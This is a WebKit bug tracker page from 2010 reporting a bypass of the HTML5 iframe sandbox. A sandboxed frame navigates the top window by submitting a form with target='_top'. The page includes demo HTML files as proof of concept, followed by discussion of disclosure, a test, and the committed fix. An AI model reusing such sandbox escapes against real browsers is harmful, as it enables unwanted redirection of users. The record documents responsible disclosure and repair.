Bug 33277 - HTML5 iframe sandbox bypass of window.top.location navigation via <form target="_top">
Summary: HTML5 iframe sandbox bypass of window.top.location navigation via <form targe...
Status: RESOLVED FIXED
Alias: None
Product: WebKit
Classification: Unclassified
Component: Frames (show other bugs)
Version: 528+ (Nightly build)
Hardware: PC All
: P2 Normal
Assignee: Sam Weinig
URL:
Keywords: InRadar
Depends on: 33659
Blocks:
  Show dependency treegraph
 
Reported: 2010-01-06 16:55 PST by Chris Evans
Modified: 2010-02-17 12:27 PST (History)
5 users (show)

See Also:


Attachments
LayoutTest (1.45 KB, patch)
2010-01-06 17:26 PST, Adam Barth
no flags Details | Formatted Diff | Diff
Patch (4.22 KB, patch)
2010-02-12 23:27 PST, Adam Barth
commit-queue: commit-queue-
Details | Formatted Diff | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Chris Evans 2010-01-06 16:55:17 PST
Demo HTML follows. The sandboxed iframe should not be able to do anything to navigate the top level window, but here is a bypass:

ifsandbox.html:
---
<html>
<body>
Testing iframe sandbox attribute....
<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="innerframe.html"></iframe>
</body>
</html>
---

innerframe.html:
---
<html>
<body>
Hello! I'm the inner frame. I will proceed to try and be irritating.
<form id="f" action="http://www.google.com" method="GET" target="_top">
<input type="submit" value="Submit"/>
</form>
<script>
// Does not work.
window.top.location = 'http://www.google.com';
// Works!
e = document.getElementById('f');
alert('about to submit form....');
e.submit();
</script>
</body>
</html>
---

I haven't tried other targets (e.g. "_parent", named iframes etc).
Comment 1 Chris Evans 2010-01-06 16:58:37 PST
cc: author of iframe sandbox attribute (thanks for implementing it)!
Comment 2 David Kilzer (:ddkilzer) 2010-01-06 17:16:30 PST
<rdar://problem/7517003>
Comment 3 Darin Adler 2010-01-06 17:25:46 PST
Putting this in the private security area seems unnecessarily cautious, since the sandbox attribute is brand new, hasn’t shipped yet, and isn’t in active use by websites. I think it would be OK to handle this out in the open instead. What do you think?
Comment 4 Adam Barth 2010-01-06 17:26:32 PST
Created attachment 46011 [details]
LayoutTest

Here's a LayoutTest for the issue.
Comment 5 Chris Evans 2010-01-06 17:27:05 PST
Darin - agreed!
Comment 6 Sam Weinig 2010-01-06 19:18:41 PST
I have a fix for this.  I'll take the bug.
Comment 7 Chris Evans 2010-01-27 18:20:36 PST
Was it a simple fix or did complexities arise?
Comment 8 Adam Barth 2010-01-27 23:48:44 PST
@Sam, I can fix this if you've got other things on your plate.
Comment 9 Adam Barth 2010-02-12 23:27:23 PST
Created attachment 48699 [details]
Patch
Comment 10 Adam Barth 2010-02-12 23:28:06 PST
@Sam: I don't mean to step on your toes, but I'd like to get this bug fixed.  Is this the same as your patch?
Comment 11 Darin Adler 2010-02-13 21:23:43 PST
Comment on attachment 48699 [details]
Patch

Fix is fine, r=me.

No need to wait on Sam.
Comment 12 WebKit Commit Bot 2010-02-14 22:05:34 PST
Comment on attachment 48699 [details]
Patch

Clearing flags on attachment: 48699

Committed r54764: <http://trac.webkit.org/changeset/54764>
Comment 13 WebKit Commit Bot 2010-02-14 22:05:47 PST
Comment on attachment 48699 [details]
Patch

Rejecting patch 48699 from commit-queue.

Unexpected failure when landing patch!  Please file a bug against webkit-patch.
Failed to run "['WebKitTools/Scripts/webkit-patch', '--status-host=webkit-commit-queue.appspot.com', 'land-attachment', '--force-clean', '--non-interactive', '--no-update', '--parent-command=commit-queue', '--build-style=both', '--quiet', '48699']" exit_code: 1
Last 500 characters of output:
all.cache.d/-1555206040/mechanize-0.1.11.zip/mechanize-0.1.11/mechanize/_html.py", line 546, in __getattr__
  File "/Users/eseidel/Projects/CommitQueue/WebKitTools/Scripts/webkitpy/autoinstall.cache.d/-1555206040/mechanize-0.1.11.zip/mechanize-0.1.11/mechanize/_html.py", line 559, in forms
  File "/Users/eseidel/Projects/CommitQueue/WebKitTools/Scripts/webkitpy/autoinstall.cache.d/-1555206040/mechanize-0.1.11.zip/mechanize-0.1.11/mechanize/_html.py", line 228, in forms
mechanize._html.ParseError
Comment 14 Adam Barth 2010-02-15 07:37:59 PST
Looks like this was landed, but CCing Eric because of the strange commit-bot error.
Comment 15 Eric Seidel (no email) 2010-02-17 12:27:18 PST
That looks like bug 33659.